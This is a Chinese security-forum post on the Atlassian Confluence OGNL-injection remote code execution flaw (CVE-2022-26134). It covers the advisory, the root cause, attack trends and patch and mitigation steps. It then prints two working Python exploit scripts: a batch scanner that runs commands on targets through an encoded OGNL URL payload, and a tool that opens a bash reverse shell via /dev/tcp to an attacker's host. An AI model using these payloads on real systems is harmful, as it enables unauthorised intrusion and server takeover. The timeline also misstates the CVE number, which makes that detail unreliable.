找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 58|回复: 0

Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)风险通告

[复制链接]

2万

主题

128

回帖

10万

积分

管理员

积分
105860
发表于 2022-6-7 14:28:53 | 显示全部楼层 |阅读模式 IP:山东省 移动/数据上网公共出口

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×
Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)风险通告


漏洞概述

Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,可以用于企业团队共享信息、文档协作、集体讨论,信息推送。

2022年6月3日,Atlassian Confluence官方发布公告称Confluence Server 和Data Center存在未授权远程代码执行漏洞,该漏洞由于Confluence将URL翻译成namespace,导致攻击者可以在URL路径中构造OGNL表达式,造成表达式注入,从而远程代码执行。该漏洞被分配编号:CVE-2022-26134。

漏洞等级

CVSS3:10.0 (严重)

影响版本

5.png



  • Confluence Server and Data Center >= 1.3.0

  • Confluence Server and Data Center < 7.4.17

  • Confluence Server and Data Center < 7.13.7


  • Confluence Server and Data Center < 7.14.3

  • Confluence Server and Data Center < 7.15.2

  • Confluence Server and Data Center < 7.16.4


  • Confluence Server and Data Center < 7.17.4

  • Confluence Server and Data Center < 7.18.1


漏洞状态

已发现在野利用,PoC已公开。


原理分析

问题原因较为简单,由于部分URI被作为OGNL(java中常用的表达式语言)解析,造成表达式注入。

在confluence/WEB-INF/lib/webwork-2.1.5-*.jar中可以看到获取了最后一个/之前的路径作为命名空间:

在confluence/WEB-INF/lib/xwork-1.0.3.6.jar中对应的命名空间进行解析取值

可以发现对应使用了OGNL解析



漏洞复现

漏洞攻击趋势

根据分析统计(时间范围:2022-06-04 00:00 - 2022-06-04 20:00),该漏洞自2022年6月4日凌晨1点官方释放补丁包之后,最早于凌晨4点便有少量攻击者开始利用该漏洞,至下午16点形成日内攻击顶峰,攻击量呈稳步上升之势。


近24小时数据显示,攻击主要来自于美国和越南地区。24小时 TOP10数据如下:


检查修复建议


1、更新至修复版本,具体版本如下:

  • 7.4.17

  • 7.13.7

  • 7.14.3

  • 7.15.2

  • 7.16.4

  • 7.17.4

  • 7.18.1


2、如无法立即升级版本,可按照官方解决方案下载补丁包替换受影响的文件,参考链接:https://confluence.atlassian.com ... -02-1130377146.html

时间线


2022年6月3日 04:00,Atlassian发布安全公告Confluence存在未授权远程代码执行漏洞(CVE-2022-21634);

2022年6月4日 01:00,Atlassian更新安全公告发布安全版本及补丁信息。




修复建议

升级:

建议用户升级到最新的支持版本。



缓解:

如无法立即升级 Confluence,作为缓解方法,可以通过为特定版本的产品更新以下文件来缓解该问题。

1.对于 Confluence 7.15.0 - 7.18.0



1)关闭 Confluence

2)下载新的jar包到Confluence 服务器:xwork-1.0.3-atlassian-10.jar

3)从Confluence 安装目录中移除旧的jar包:


[XML] 纯文本查看 复制代码
<confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar


4)将先前下载的xwork-1.0.3-atlassian-10.jar包,复制到Confluence 安装目录:<confluence-install>/confluence/WEB-INF/lib/ (这里要注意新的jar包权限要和同目录中其他文件相同)

5)启动Confluence

2.对于 Confluence 7.0.0 - 7.14.2

1)关闭 Confluence

2)下载新的jar包到Confluence 服务器:




3)从Confluence 安装目录中移除旧的jar包,如:

[XML] 纯文本查看 复制代码
<confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3.6.jar 
<confluence-install>/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar


4)将先前下载的xwork-1.0.3-atlassian-10.jar、webwork-2.1.5-atlassian-4.jar包,复制到Confluence 安装目录:<confluence-install>/confluence/WEB-INF/lib/ (这里要注意新的jar包权限要和同目录中其他文件相同)

5)切换到目录

[XML] 纯文本查看 复制代码
<confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup


创建一个名为webwork的新目录

将CachedConfigurationProvider.class复制到<confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork(确保权限和所有权和同目录文件相同)

启动 Confluence
————————————————
版权声明:本文为CSDN博主「墨菲安全」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/murphysec/article/details/125122526



[Python] 纯文本查看 复制代码
#coding:utf-8
from email import header
import requests
import sys
import urllib3
urllib3.disable_warnings()
def start():
    a=''''
    _____________   _______________         _______________   ________ ________           ________  ____________________     _____  
\_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \\_____  \          \_____  \/  _____/_   \_____  \   /  |  | 
/    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/ /  ____/   ______  /  ____/   __  \ |   | _(__  <  /   |  |_
\     \____\     /   |        \ /_____/ /       \  \_/   \/       \/       \  /_____/ /       \  |__\  \|   |/       \/    ^   /
 \______  / \___/   /_______  /         \_______ \_____  /\_______ \_______ \         \_______ \_____  /|___/______  /\____   | 
        \/                  \/                  \/     \/         \/       \/                 \/     \/            \/      |__| 
                                                                                                                    by axing
                        使用语法
                        单个验证 python cve-2022-26134.py url
                        批量验证 python cve-2022-26134.py url.txt
                    

    '''
    print (a)
def poc(host):
    command = 'id'
    url=host +"/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22{}%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/".format(command)
    response = requests.get(url=url, verify=False, allow_redirects=False)
    if(response.status_code == 302):
        hea=response.headers['X-Cmd-Response']
        if 'uid' in hea:
            print(hea)
            print('【+】{} 存在漏洞'.format(host))
            with open('re.txt','a+') as w:
                w.write(host+"\n")
    else:
        print('【-】{}不存在漏洞'.format(host))
        return False

def pocs():
    with open('url.txt','r') as f:
        for line in f.readlines():
            url=line.strip()
            print (url)
            try:
                poc(url)
            except requests.ConnectTimeout:
                print(f'[-]{url} 检测超时')
                continue
            except requests.ConnectionError:
                print(f'[-]{url} 检测错误')
                continue

if __name__=='__main__':
    start()
    if 'url.txt' in sys.argv[1]:
        pocs()
    elif 'http' in sys.argv[1]:
        poc(sys.argv[1])
    else:
        print('语法错误')



[Python] 纯文本查看 复制代码
#!/usr/bin/python3
# coding: utf-8
# cve2022-26134
# by: lxxl
import urllib
import requests
import re
import sys
from bs4 import BeautifulSoup
import urllib3

urllib3.disable_warnings()
import argparse



def check(url):
    r = requests.get(url + "/login.action", verify=False)
    if (r.status_code == 200):
        filter_version = re.findall("<span id='footer-build-information'>.*</span>", r.text)
        if (len(filter_version) >= 1):
            version = filter_version[0].split("'>")[1].split('</')[0]
            return version
        else:
            return False
    else:
        return url


def exploit(url, command):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': '*/*',
    }
    r = requests.get(
        url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22' + command + '%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/',
        headers=headers, verify=False, allow_redirects=False)
    if (r.status_code == 302):
        return r.headers['X-Cmd-Response']
    else:
        return False

def shell():
        shell = ip + "/" + port
        shell1 = "'bash','-c','bash -i >& "
        exp = shell1 + "/dev/tcp/"  + shell + " 0>&1'"
        payload1 = '''${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('''
        payload2 = exp + ''').start()")}/'''
        payloads = payload1 + payload2
        s = urllib.parse.quote(payloads)
        return s


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='cve2022-26134')
    parser.add_argument('-u', '--url', help='target url', required=False)
    parser.add_argument('-c', '--command', help='command', required=False)
    parser.add_argument('-i', '--lhost', help='type', required=False)
    parser.add_argument('-p', '--lport', help='type', required=False)
    args = parser.parse_args()
    cmd = args.command
    ip = args.lhost
    port = args.lport

    if (len(sys.argv) < 3):
        print("USE: python3 " + sys.argv[0] + " -u [url=https://target.com]https://target.com[/url] -c command")
        print("ex: python3 " + sys.argv[0] + " -u [url=https://target.com]https://target.com[/url] -i  your.ip -p your.port")

    if (sys.argv[3] == "-i"):
            target = args.url
            ip = args.lhost
            port = args.lport
            e = requests.get(target + shell())
            if e.status_code == 200 or e.status_code == 302:
                    print("[+] exploit success")
            else:
                    print("[-] exploit failed")

    else:
        target = args.url
        cmd = cmd.replace("'", "")
        version = check(target)
        print("============ GET Confluence Version ============")
        if (version):
            print("Version: " + version)
        else:
            print("Version: Not Found")
        print(exploit(target, cmd))


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|IOTsec-Zone|在线工具|CTF WiKi|CTF平台汇总|CTF show|ctfhub|棱角安全|rutracker|攻防世界|php手册|peiqi文库|CyberChef|猫捉鱼铃|手机版|小黑屋|cn-sec|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2024-5-18 19:48

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表